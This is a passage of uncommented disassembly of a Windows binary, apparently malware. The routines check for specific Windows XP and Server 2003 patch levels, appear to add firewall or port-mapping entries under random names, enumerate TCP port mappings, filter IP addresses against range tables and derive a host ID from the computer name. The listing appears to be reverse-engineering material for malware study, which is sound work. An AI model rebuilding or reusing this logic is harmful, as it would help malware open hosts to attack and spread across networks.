		call	dword ptr [eax+2Ch]
		mov	eax, [ebp+var_1C]
		cmp	eax, esi
		jz	loc_9A9C0A
		lea	edx, [ebp+var_14]
		push	edx
		mov	[ebp+var_8], esi
		mov	[ebp+var_14], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jz	short loc_9A9AB3
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_9A2F70
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9AB3:				; CODE XREF: sub_9A9A64+36j
		cmp	[ebp+var_8], esi
		jz	loc_9A9C01
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_9A9BF8
		push	edi


loc_9A9ADF:				; CODE XREF: sub_9A9A64+18Dj
		cmp	word ptr [ebp+pvarg.anonymous_0], 0Dh
		jnz	loc_9A9BD5
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_9A2F60
		mov	[ebp+var_4], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		cmp	[ebp+var_4], esi
		jz	loc_9A9BD5
		mov	eax, [ebx]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+var_4]
		mov	[ebp+var_10], esi
		push	ebx
		call	dword ptr [eax+30h]
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jz	loc_9A9BCC
		lea	edx, [ebp+var_20]
		push	edx
		mov	[ebp+var_20], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		test	byte ptr [ebp+var_20+1], 4
		jz	loc_9A9BC3
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_18]
		push	edx
		mov	[ebp+var_18], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	[ebp+var_18], 8
		jz	short loc_9A9BC3
		cmp	[ebp+var_18], 9
		jz	short loc_9A9BC3
		mov	eax, [ebx]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_4]
		mov	[ebp+var_C], esi
		push	ebx
		call	dword ptr [eax+28h]
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		jz	short loc_9A9BC3
		lea	edx, [ebp+var_24]
		push	edx
		mov	[ebp+var_24], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	word ptr [ebp+var_24], si
		jz	short loc_9A9BBA
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	esi		; dwCreationFlags
		call	GetCurrentThreadId
		push	eax		; lpParameter
		push	offset sub_9A9A29 ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		call	CreateThread
		push	64h		; dwMilliseconds
		mov	edi, eax
		call	Sleep
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		push	esi		; dwExitCode
		push	edi		; hThread
		call	TerminateThread
		push	edi		; hObject
		call	CloseHandle


loc_9A9BBA:				; CODE XREF: sub_9A9A64+119j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9BC3:				; CODE XREF: sub_9A9A64+CFj
					; sub_9A9A64+E9j ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9BCC:				; CODE XREF: sub_9A9A64+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9BD5:				; CODE XREF: sub_9A9A64+80j
					; sub_9A9A64+9Dj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	loc_9A9ADF
		pop	edi


loc_9A9BF8:				; CODE XREF: sub_9A9A64+74j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9C01:				; CODE XREF: sub_9A9A64+52j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9C0A:				; CODE XREF: sub_9A9A64+1Bj
		pop	esi
		leave
		retn
sub_9A9A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9A9C0D(LPVOID)

sub_9A9C0D	proc near		; DATA XREF: sub_9A9CA1+50o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ppv		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	14h
		push	offset stru_9A2FA0
		call	__SEH_prolog
		push	6		; dwCoInit
		xor	esi, esi
		push	esi		; pvReserved
		call	CoInitializeEx
		mov	[ebp+var_20], eax
		cmp	eax, 80010106h
		jz	short loc_9A9C32
		cmp	eax, esi
		jl	short loc_9A9C8C


loc_9A9C32:				; CODE XREF: sub_9A9C0D+1Fj
		push	esi		; pReserved3
		push	esi		; dwCapabilities
		push	esi		; pAuthList
		push	3		; dwImpLevel
		push	4		; dwAuthnLevel
		push	esi		; pReserved1
		push	esi		; asAuthSvc
		push	0FFFFFFFFh	; cAuthSvc
		push	esi		; pSecDesc
		call	CoInitializeSecurity
		mov	[ebp+ms_exc.disabled], esi
		mov	[ebp+ppv], esi
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset riid	; riid
		push	17h		; dwClsContext
		push	esi		; pUnkOuter
		push	offset rclsid	; rclsid
		call	CoCreateInstance
		mov	[ebp+var_24], eax
		mov	ebx, [ebp+ppv]
		cmp	ebx, esi
		jz	short loc_9A9C79
		call	sub_9A9A64
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9C79:				; CODE XREF: sub_9A9C0D+5Cj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A9C8C
; ---------------------------------------------------------------------------


loc_9A9C7F:				; DATA XREF: .text:stru_9A2FA0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A9C83:				; DATA XREF: .text:stru_9A2FA0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	esi, esi


loc_9A9C8C:				; CODE XREF: sub_9A9C0D+23j
					; sub_9A9C0D+70j
		cmp	[ebp+var_20], esi
		jl	short loc_9A9C97
		call	CoUninitialize


loc_9A9C97:				; CODE XREF: sub_9A9C0D+82j
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9A9C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A9CA1	proc near		; CODE XREF: sub_9AFC25+6Bp

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
ThreadId	= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		push	edi
		push	26h
		pop	ecx
		xor	eax, eax
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		lea	edi, [ebp+78h+VersionInformation.dwMajorVersion]
		rep stosd
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		call	GetVersionExA
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnz	short loc_9A9D23
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 1
		jnz	short loc_9A9CDB
		cmp	[ebp+78h+var_C], 2
		jb	short loc_9A9CE8


loc_9A9CDB:				; CODE XREF: sub_9A9CA1+31j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A9D23
		cmp	[ebp+78h+var_C], 1
		jnb	short loc_9A9D23


loc_9A9CE8:				; CODE XREF: sub_9A9CA1+38j
		push	esi
		lea	eax, [ebp+78h+ThreadId]
		push	eax		; lpThreadId
		xor	esi, esi
		push	esi		; dwCreationFlags
		push	esi		; lpParameter
		push	offset sub_9A9C0D ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		call	CreateThread
		mov	edi, eax
		push	3A98h		; dwMilliseconds
		push	edi		; hHandle
		call	WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_9A9D1B
		push	esi		; dwExitCode
		push	edi		; hThread
		call	TerminateThread


loc_9A9D1B:				; CODE XREF: sub_9A9CA1+70j
		push	edi		; hObject
		call	CloseHandle
		pop	esi


loc_9A9D23:				; CODE XREF: sub_9A9CA1+2Bj
					; sub_9A9CA1+3Ej ...
		pop	edi
		add	ebp, 78h
		leave
		retn
sub_9A9CA1	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A9D29(char *lpFirst)

sub_9A9D29	proc near		; CODE XREF: sub_9AAE1D+1Cp
					; sub_9AAE90+64p ...

lpFirst		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+lpFirst]
		push	ebp
		push	edi
		push	2Eh		; Ch
		push	ebx		; Str
		xor	ebp, ebp
		call	strrchr
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_9A9DA0
		push	esi
		xor	esi, esi


loc_9A9D46:				; CODE XREF: sub_9A9D29+37j
		push	off_9BA3F8[esi]	; lpSrch
		push	ebx		; lpFirst
		call	StrStrIA
		test	eax, eax
		jnz	short loc_9A9D9C
		add	esi, 4
		cmp	esi, 0D0h
		jb	short loc_9A9D46
		jmp	short loc_9A9D6E
; ---------------------------------------------------------------------------


loc_9A9D64:				; CODE XREF: sub_9A9D29+47j
		lea	eax, [edi-1]
		cmp	byte ptr [eax],	2Eh
		jz	short loc_9A9D72
		mov	edi, eax


loc_9A9D6E:				; CODE XREF: sub_9A9D29+39j
		cmp	edi, ebx
		ja	short loc_9A9D64


loc_9A9D72:				; CODE XREF: sub_9A9D29+41j
		xor	ebx, ebx


loc_9A9D74:				; CODE XREF: sub_9A9D29+6Fj
		lea	esi, off_9BA4C8[ebx]
		push	dword ptr [esi]	; Str
		call	strlen
		push	eax		; MaxCount
		push	dword ptr [esi]	; Str
		push	edi		; Str1
		call	_strnicmp
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A9D9C
		add	ebx, 4
		cmp	ebx, 20h
		jb	short loc_9A9D74
		jmp	short loc_9A9D9F
; ---------------------------------------------------------------------------


loc_9A9D9C:				; CODE XREF: sub_9A9D29+2Cj
					; sub_9A9D29+67j
		xor	ebp, ebp
		inc	ebp


loc_9A9D9F:				; CODE XREF: sub_9A9D29+71j
		pop	esi


loc_9A9DA0:				; CODE XREF: sub_9A9D29+18j
		pop	edi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_9A9D29	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A9DA6(u_long	netlong)

sub_9A9DA6	proc near		; CODE XREF: sub_9AABAE+42p
					; sub_9AF7D5+1B4p

netlong		= dword	ptr  4

		push	esi
		push	[esp+4+netlong]
		xor	esi, esi
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jz	short loc_9A9DE3
		push	[esp+4+netlong]	; netlong
		call	__imp_ntohl
		xor	ecx, ecx


loc_9A9DC3:				; CODE XREF: sub_9A9DA6+36j
		cmp	eax, dword_9A2FB0[ecx]
		jb	short loc_9A9DD3
		cmp	eax, dword_9A2FB4[ecx]
		jbe	short loc_9A9DE0


loc_9A9DD3:				; CODE XREF: sub_9A9DA6+23j
		add	ecx, 8
		cmp	ecx, 0C60h
		jb	short loc_9A9DC3
		jmp	short loc_9A9DE3
; ---------------------------------------------------------------------------


loc_9A9DE0:				; CODE XREF: sub_9A9DA6+2Bj
		xor	esi, esi
		inc	esi


loc_9A9DE3:				; CODE XREF: sub_9A9DA6+Fj
					; sub_9A9DA6+38j
		mov	eax, esi
		pop	esi
		retn
sub_9A9DA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9DE7	proc near		; CODE XREF: sub_9A9FDF+28p

ppv		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+ppv], 0
		and	[ebp+var_4], 0
		and	dword ptr [edi], 0
		push	esi
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_9A3E74 ; riid
		push	1		; dwClsContext
		push	0		; pUnkOuter
		push	offset stru_9A3E64 ; rclsid
		call	CoCreateInstance
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A9E35
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A9E35
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	esi, eax


loc_9A9E35:				; CODE XREF: sub_9A9DE7+2Dj
					; sub_9A9DE7+40j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_9A9E42
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9E42:				; CODE XREF: sub_9A9DE7+53j
		mov	eax, [ebp+ppv]
		test	eax, eax
		jz	short loc_9A9E4F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9E4F:				; CODE XREF: sub_9A9DE7+60j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A9DE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9E54	proc near		; CODE XREF: sub_9A9ED0+3Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	dword ptr [esi], 0
		mov	ecx, [eax]
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		push	ebx
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_9A9EB1
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	short loc_9A9EAF
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+4Ch]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_9A9EB1
		cmp	[ebp+var_4], 0
		jz	short loc_9A9EB1
		mov	dword ptr [esi], 1
		jmp	short loc_9A9EB1
; ---------------------------------------------------------------------------


loc_9A9EAF:				; CODE XREF: sub_9A9E54+37j
		xor	ebx, ebx


loc_9A9EB1:				; CODE XREF: sub_9A9E54+20j
					; sub_9A9E54+4Aj ...
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_9A9EBE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9EBE:				; CODE XREF: sub_9A9E54+62j
		mov	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_9A9ECB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9ECB:				; CODE XREF: sub_9A9E54+6Fj
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A9E54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9ED0(int,int,OLECHAR *psz)

sub_9A9ED0	proc near		; CODE XREF: sub_9A9FDF+59p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
ppv		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
psz		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	ecx, [ebp+var_4]
		mov	edi, eax
		mov	eax, [edi]
		xor	ebx, ebx
		push	ecx
		push	edi
		mov	[ebp+var_14], ebx
		mov	[ebp+ppv], ebx
		mov	[ebp+var_C], ebx
		call	dword ptr [eax+28h]
		test	eax, eax
		jl	short loc_9A9F01
		cmp	[ebp+var_4], bx
		jz	short loc_9A9F01
		mov	eax, [edi]
		push	ebx
		push	edi
		call	dword ptr [eax+2Ch]


loc_9A9F01:				; CODE XREF: sub_9A9ED0+22j
					; sub_9A9ED0+28j
		push	[ebp+arg_4]
		lea	esi, [ebp+var_10]
		push	[ebp+arg_0]
		mov	eax, edi
		call	sub_9A9E54
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jl	loc_9A9FB4
		cmp	[ebp+var_10], ebx
		jnz	loc_9A9FB4
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	edi
		call	dword ptr [eax+48h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_9A9FB4
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_9A3E94 ; riid
		push	1		; dwClsContext
		push	ebx		; pUnkOuter
		push	offset stru_9A3E84 ; rclsid
		call	CoCreateInstance
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_9A9FB4
		mov	eax, [ebp+ppv]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+38h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_9A9FB4
		mov	eax, [ebp+ppv]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_9A9FB4
		push	[ebp+psz]	; psz
		call	SysAllocString
		mov	edi, eax
		push	edi		; BSTR
		call	SysStringLen
		test	eax, eax
		jnz	short loc_9A9F94
		mov	esi, 8007000Eh
		jmp	short loc_9A9FB7
; ---------------------------------------------------------------------------


loc_9A9F94:				; CODE XREF: sub_9A9ED0+BBj
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+20h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_9A9FB7
		mov	eax, [ebp+var_C]
		push	[ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		mov	esi, eax
		jmp	short loc_9A9FB7
; ---------------------------------------------------------------------------


loc_9A9FB4:				; CODE XREF: sub_9A9ED0+47j
					; sub_9A9ED0+50j ...
		mov	edi, [ebp+var_14]


loc_9A9FB7:				; CODE XREF: sub_9A9ED0+C2j
					; sub_9A9ED0+D2j ...
		push	edi		; bstrString
		call	SysFreeString
		mov	eax, [ebp+ppv]
		cmp	eax, ebx
		jz	short loc_9A9FCB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9FCB:				; CODE XREF: sub_9A9ED0+F3j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_9A9FD8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A9FD8:				; CODE XREF: sub_9A9ED0+100j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A9ED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9FDF	proc near		; CODE XREF: sub_9AFC25+59p

psz		= word ptr -18h
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	6		; dwCoInit
		push	ebx		; pvReserved
		mov	[ebp+var_4], ebx
		call	CoInitializeEx
		mov	esi, eax
		cmp	esi, 80010106h
		jz	short loc_9AA003
		cmp	esi, ebx
		jl	short loc_9AA047


loc_9AA003:				; CODE XREF: sub_9A9FDF+1Ej
		push	edi
		lea	edi, [ebp+var_4]
		call	sub_9A9DE7
		test	eax, eax
		pop	edi
		jl	short loc_9AA047
		call	rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+psz]
		add	edx, 5
		push	edx
		push	eax
		call	sub_9AC672
		lea	eax, [ebp+psz]
		push	eax		; psz
		movzx	eax, [ebp+arg_0]
		push	6		; int
		push	eax		; int
		mov	eax, [ebp+var_4]
		call	sub_9A9ED0
		add	esp, 14h
		test	eax, eax
		jl	short loc_9AA047
		xor	ebx, ebx
		inc	ebx


loc_9AA047:				; CODE XREF: sub_9A9FDF+22j
					; sub_9A9FDF+30j ...
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_9AA054
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9AA054:				; CODE XREF: sub_9A9FDF+6Dj
		test	esi, esi
		jl	short loc_9AA05E
		call	CoUninitialize


loc_9AA05E:				; CODE XREF: sub_9A9FDF+77j
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A9FDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA064	proc near		; CODE XREF: sub_9AA320+69p

Str		= byte ptr -104h
var_103		= byte ptr -103h
nSize		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		push	3Fh
		pop	ecx
		xor	eax, eax
		mov	[ebp+Str], 0
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	esi, 100h
		push	esi		; namelen
		lea	eax, [ebp+Str]
		push	eax		; name
		call	gethostname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_9AA0B2
		lea	eax, [ebp+nSize]
		push	eax		; nSize
		lea	eax, [ebp+Str]
		push	eax		; lpBuffer
		mov	[ebp+nSize], esi
		call	GetComputerNameA


loc_9AA0B2:				; CODE XREF: sub_9AA064+38j
		call	sub_9AC33E
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	strlen
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	sub_9A9237
		mov	esi, [ebp+Dest]
		add	esp, 0Ch
		push	eax
		push	offset a08x08x	; "%08x%08x"
		push	ebx		; Count
		push	esi		; Dest
		call	_snprintf
		add	esp, 14h
		pop	edi
		mov	byte ptr [esi+ebx-1], 0
		pop	esi
		leave
		retn
sub_9AA064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA0F1(int,void *Count,int netshort,struct in_addr in)

sub_9AA0F1	proc near		; CODE XREF: sub_9AA27B+45p
					; sub_9AA320+52p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Memory		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
Count		= dword	ptr  0Ch
netshort	= dword	ptr  10h
in		= in_addr ptr  14h

		push	20h
		push	offset stru_9A3EB0
		call	__SEH_prolog
		mov	eax, dword ptr [ebp+in.S_un]
		xor	esi, esi
		mov	[ebp+var_1C], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	[ebp+var_28], eax
		cmp	eax, esi
		jz	short loc_9AA120
		push	eax		; in
		call	inet_ntoa
		push	eax		; Src
		call	_strdup
		pop	ecx
		jmp	short loc_9AA122
; ---------------------------------------------------------------------------


loc_9AA120:				; CODE XREF: sub_9AA0F1+1Cj
		xor	eax, eax


loc_9AA122:				; CODE XREF: sub_9AA0F1+2Dj
		mov	[ebp+Memory], eax
		push	esi		; int
		push	esi		; int
		push	eax		; cp
		push	7D0h		; int
		call	sub_9B611D
		add	esp, 10h
		mov	[ebp+var_2C], eax
		cmp	eax, esi
		jz	short loc_9AA16B
		mov	ecx, eax


loc_9AA13E:				; CODE XREF: sub_9AA0F1+56j
		mov	[ebp+var_20], ecx
		cmp	ecx, esi
		jz	short loc_9AA149
		mov	ecx, [ecx]
		jmp	short loc_9AA13E
; ---------------------------------------------------------------------------


loc_9AA149:				; CODE XREF: sub_9AA0F1+52j
		push	10h		; int
		push	[ebp+netshort]	; netshort
		push	[ebp+Count]	; Count
		push	[ebp+arg_0]	; int
		push	eax		; int
		call	sub_9B5DA4
		add	esp, 14h
		mov	[ebp+var_30], eax
		cmp	eax, esi
		jz	short loc_9AA16B
		mov	[ebp+var_1C], 1


loc_9AA16B:				; CODE XREF: sub_9AA0F1+49j
					; sub_9AA0F1+71j
		push	[ebp+Memory]	; Memory
		call	free
		pop	ecx
		jmp	short loc_9AA17E
; ---------------------------------------------------------------------------


loc_9AA177:				; DATA XREF: .text:stru_9A3EB0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA17B:				; DATA XREF: .text:stru_9A3EB0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA17E:				; CODE XREF: sub_9AA0F1+84j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AA0F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA18B(int,char *Str2)

sub_9AA18B	proc near		; CODE XREF: sub_9AA320+7Cp

Dest		= byte ptr -0F8h
Str1		= byte ptr -0B8h
var_68		= dword	ptr -68h
var_58		= dword	ptr -58h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
Memory		= byte ptr -34h
var_2F		= byte ptr -2Fh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
Str2		= dword	ptr  0Ch

		push	0E8h
		push	offset stru_9A3EC8
		call	__SEH_prolog
		mov	edi, ecx
		xor	ebx, ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+var_1C], ebx


loc_9AA1A4:				; CODE XREF: sub_9AA18B+D7j
		push	[ebp+var_1C]
		push	offset aD	; "%d"
		push	6		; Count
		lea	eax, [ebp+Memory]
		push	eax		; Dest
		call	_snprintf
		mov	[ebp+var_2F], bl
		mov	[ebp+Dest], bl
		mov	byte ptr [ebp+var_44], bl
		mov	byte ptr [ebp+var_58], bl
		mov	[ebp+Str1], bl
		mov	byte ptr [ebp+var_28], bl
		mov	byte ptr [ebp+var_3C], bl
		mov	byte ptr [ebp+var_68], bl
		mov	esi, [ebp+arg_0]
		add	esi, 484h
		lea	eax, [ebp+var_58]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		lea	eax, [ebp+var_44]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; int
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_3C]
		push	eax		; int
		lea	eax, [ebp+var_68]
		push	eax		; int
		lea	eax, [ebp+var_28]
		push	eax		; int
		lea	eax, [ebp+Memory]
		push	eax		; Memory
		push	esi		; int
		push	dword ptr [edi]	; Str
		call	sub_9B686F
		add	esp, 3Ch
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jnz	short loc_9AA25C
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AA25C
		push	offset aTcp	; "TCP"
		lea	eax, [ebp+var_20]
		push	eax		; Str1
		call	_stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9AA25C
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_28]
		push	eax		; int
		push	esi		; int
		push	dword ptr [edi]	; Str
		call	sub_9B679A
		add	esp, 10h
		mov	[ebp+var_48], eax


loc_9AA25C:				; CODE XREF: sub_9AA18B+8Ej
					; sub_9AA18B+A4j ...
		inc	[ebp+var_1C]
		cmp	[ebp+var_2C], ebx
		jz	loc_9AA1A4
		jmp	short loc_9AA271
; ---------------------------------------------------------------------------


loc_9AA26A:				; DATA XREF: .text:stru_9A3EC8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA26E:				; DATA XREF: .text:stru_9A3EC8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA271:				; CODE XREF: sub_9AA18B+DDj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_9AA18B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA27B(int,int,struct	in_addr	in)

sub_9AA27B	proc near		; CODE XREF: sub_9ADBF1+115p

Count		= byte ptr -74Ch
var_2C8		= dword	ptr -2C8h
Str		= dword	ptr -48h
netshort	= byte ptr -3Ch
var_3B		= byte ptr -3Bh
Dest		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
in		= in_addr ptr  10h

		push	73Ch
		push	offset stru_9A3ED8
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+netshort],	bl
		xor	eax, eax
